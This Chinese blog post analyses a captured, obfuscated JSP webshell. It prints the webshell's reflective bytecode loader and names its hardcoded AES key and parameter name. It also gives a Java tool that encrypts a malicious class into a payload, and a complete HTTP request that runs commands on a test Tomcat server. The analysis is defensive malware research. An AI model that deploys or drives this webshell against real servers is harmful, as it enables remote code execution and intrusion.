记一次对某变异webshell的分析

0x01 前言


在某活动中捕获到一个变异的webshell(jsp文件格式),如图1.1所示。样本webshell的大致功能是通过加载字节码来执行恶意代码,整个webshell的核心部分逻辑是在字节码中。


样本文件下载链接:

https://github.com/webraybtl/webshell1

记一次对某变异webshell的分析

图1.1 变异webshell样本


直接通过冰蝎、哥斯拉、天蝎、蚁剑这些工具来连,均没有成功,初步推测是一个改过的webshell。


0x02 初步分析


Webshell中首先定义了两个方法b64Decode和unc,分别用于base64解码和gzip解码,代码比较简单,就不做分析。Webshell中处理逻辑部分代码如下所示。

<%    String u = "lgetwr";    if (context.get(u) != null) {        context.get(u).equals(new Object[]{request, response});    } else {        byte[] data = b64Decode("xxxx"); //替换为样本中的恶意字节码        byte[] cbs = unc(data);        java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0],Thread.currentThread().getContextClassLoader());        java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100,101,102,105,110,101,67,108,97,115,115}), new Class[]{byte[].class, int.class, int.class}); // new byte[]{100,101,102,105,110,101,67,108,97,115,115} 对应defineClass        method.setAccessible(true);        Class clazz = (Class) method.invoke(classLoader, new Object[]{cbs, new Integer(0), new Integer(cbs.length)});        context.put(u, clazz.newInstance());    }%>


context是静态map类型变量,起到全局数据传递的作用。在其中定义的变量u并不是webshell的密码,而仅是map中的一个key。


当第一次访问webshell的时候,通过反射的方式调用ClassLoader类的defineClass方法,把恶意的字节码经过解码之后作为defineClass方法的参数,并生成对应的类实例对象,保存到context字典中,key为“lgetwr”。


当后续再访问webshell的时候,进入另一个if分支,直接调用恶意对象对应的equals方法,并把request和response作为参数传入。


0x03 深入分析


把样本中的恶意字节码结果解码之后保存为class文件,解码的方式直接调用webshell中的b64Decode和unc方法,直接定位到恶意类对应的equals方法,如图3.1所示。

记一次对某变异webshell的分析

图3.1 字节码文件中的equals方法


从反编译的代码中可以看出字节码对应的类经过了混淆和压缩,无法友好的阅读代码,更重要的是在equals中调用了this.a(long, short)方法,该方法无法被idea反编译,在idea中提示无法“couldn ‘ t be decompiled”,如图3.2所示。更换jd-gui来进行反编译依然无法反编译这个方法,推测可能是作者为了防止反编译做的强混淆或者使用了某些奇怪的java语法。

记一次对某变异webshell的分析

图3.2 IDEA工具无法反编译字节码中的关键方法


后来在找到了一个非常棒的在线反编译网站http://www.javadecompilers.com/。可以支持多种不同的反编译工具来进行反编译,依次尝试所有的反编译器,当选择CFR反编译器时可以看到得到完整的源码,如图3.3、图3.4所示。

记一次对某变异webshell的分析

图3.3 通过CFR来进行反编译

记一次对某变异webshell的分析

图3.4 通过CFR反编译的关键方法a


虽然CFR也提示“unable to fully structure code”,但是其实关键的代码逻辑确是可以看到的,人为修改反编译代码中的语法错误,可以对代码进行调试。


为了对字节码中的类进行debug,需要在本地新建一个与字节码中的类完全一样的类“org.apache.coyote.module.ThrowableDeserializer”。但是在调试下断点的时候报如图3.5所示的错误,显示方法中无法下断点,原因是代码中删除了行号Line numbers info is not available in class。这是由于java的混淆和压缩工具在编译的时候删除了行号,导致无法对方法中的具体内容进行调试,只能调试方法调用。

记一次对某变异webshell的分析

图3.5 字节码文件提示无法调试


具体到webshell的代码逻辑中,提供了两种传入参数的方式,一种是直接通过参数传递,传递的参数名是SjIHRC7oSVIE,如图3.6所示。

记一次对某变异webshell的分析

图3.6 通过SjIHRC7oSVIE参数传递参数


另一种方式是通过json方式传递参数,如图3.7所示。

记一次对某变异webshell的分析

图3.7 通过json方式传递恶意代码


在后续的过程中会对上一步传入的恶意代码进行AES解密,解密密钥为固定值“oszXCfTeXHpIkMS3”,如图3.8所示。

记一次对某变异webshell的分析

图3.8 对传入的恶意代码进行解密


Webshell最终执行恶意代码的方式还是通过defineClass加载字节码的方式来进行的,最终能够触发任意命令代码执行的方式是在调用newInstance生成类对象的时候。此webshell的执行流程大体上可以分成下面的步骤:


1、第一次访问通过defineClass固定的恶意字节码生成对应的恶意类。org.apache.coyote.module.ThrowableDeserializer对象实例。并把实例保存到全局的map中,键名为lgetwr。

2、第二次访问直接调用键名为lgetwr的对象值,调用恶意类的equals方法,并传递request和response对象。

3、在恶意类的equals方法中调用混淆后的a(long, short)方法,该方法会从解析HTTP请求,获取SjIHRC7oSVIE键名传递的动态恶意值。

4、把HTTP请求传递的动态恶意值进行AES解密,gzip解码之后传递到defineClass方法进行动态加载,生成任意恶意类对象。通过恶意类对象的构造方法或者静态代码块触发命令执行。


0x04 实际测试


在本地tomcat环境中调试对应的webshell,构建一个恶意类ExploitRCE,如图4.1所示。

记一次对某变异webshell的分析

图4.1 构建恶意的命令执行的类ExploitRCE


通过javac把对应的java代码转化为class文件,模拟webshell的处理流程对字节码文件进行加密和编码,代码如下所示。

import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.zip.GZIPInputStream;import java.util.zip.GZIPOutputStream;
public class Test4 {
   private static final String KEY = "oszXCfTeXHpIkMS3";    private static final String ALGORITHM = "AES";
   public static void main(String[] args) throws Exception {        byte[] originalString = Files.readAllBytes(Paths.get("/Users/pang0lin/java/projects/SpringMVC6/target/classes/ExploitRCE.class"));        byte[] bytes = gzipEncode(originalString);
       String encryptedString = encrypt(bytes);        System.out.println("加密后的字符串: " + encryptedString);
   }
   public static String encrypt(byte[] strToEncrypt) throws Exception {        SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), ALGORITHM);        Cipher cipher = Cipher.getInstance(ALGORITHM);        cipher.init(Cipher.ENCRYPT_MODE, secretKey);        byte[] encryptedByteValue = cipher.doFinal(strToEncrypt);        return Base64.getEncoder().encodeToString(encryptedByteValue);    }
   public static byte[] decrypt(String strToDecrypt) throws Exception {        SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), ALGORITHM);        Cipher cipher = Cipher.getInstance(ALGORITHM);        cipher.init(Cipher.DECRYPT_MODE, secretKey);        byte[] decodedValue = Base64.getDecoder().decode(strToDecrypt);        byte[] decryptedByteValue = cipher.doFinal(decodedValue);        return decryptedByteValue;    }
   public static byte[] b(byte[] var0) throws IOException {        ByteArrayOutputStream var2 = new ByteArrayOutputStream();        int var10000 = 0;        ByteArrayInputStream var3 = new ByteArrayInputStream(var0);        int var1 = var10000;        GZIPInputStream var4 = new GZIPInputStream(var3);        byte[] var5 = new byte[256];
       ByteArrayOutputStream var8;        while(true) {            int var6;            if ((var6 = var4.read(var5)) >= 0) {                var8 = var2;                if (var1 != 0) {                    break;                }
               var2.write(var5, 0, var6);                if (var1 == 0) {                    continue;                }            }
           var8 = var2;            break;        }
       return var8.toByteArray();    }
   public static byte[] gzipEncode(byte[] input) throws IOException {        ByteArrayOutputStream baos = new ByteArrayOutputStream();        GZIPOutputStream gzipOs = new GZIPOutputStream(baos);
       gzipOs.write(input);
       gzipOs.close();        baos.close();
       return baos.toByteArray();    }}


运行之后可以生成用于可以用于webshell的加密字符,如图4.2所示。

记一次对某变异webshell的分析

图4.2 模拟webshell加密和编码过程生成字符


通过burp发包,查看恶意代码执行过程,如图4.3所示。其中Content-Type在json方式传递时要求必须为application/json。运行之后弹出计算器,证明恶意代码执行成功。

记一次对某变异webshell的分析

到此已经完整复现了webshell执行命令的逻辑,但是由于命令执行没有回显结果,肯定不是作者的使用方式。


在关键的方法a(long, short)中执行newInstance创建恶意类对象之后,并没有调用对象的任意方法,并不能方便的回显命令执行结果。但是还是可以通过https://github.com/WhiteHSBG/JNDIExploit/blob/master/src/main/java/com/feihong/ldap/template/TomcatEchoTemplate.java 方式来进行回显命令,原理不再分析,在之前的文章中已经进行过介绍。


用TomcatEchoTemplate类替换上传的ExploitRCE类,重新发送payload如下:

POST /i.jsp HTTP/1.1Host: 192.168.67.26:8088Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: zh-CN,zh;q=0.9cmd:ifconfigCookie: JSESSIONID=798FA6D9C93F95975342688741748A41; 9d127d56=79851bf2x-forwarded-for: 127.0.0.2Connection: closeContent-Type: application/jsonContent-Length: 3731
{"SjIHRC7oSVIE":"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"}
记一次对某变异webshell的分析

在实际使用中要求Cookie中必须包含JSESSIONID,并且每次修改后面16位的值。


0x05 结论


这是一个变异的Webshell,在实网环境中具有较好的免杀效果,但是有样本之后还是很容易分析其代码特征和流量特征。本文章样本仅做学习研究使用,请勿使用本文章提供的样本进行非法攻击行为。


原文始发于微信公众号(Beacon Tower Lab):记一次对某变异webshell的分析

版权声明:admin 发表于 2023年10月9日 下午7:02。
转载请注明:记一次对某变异webshell的分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...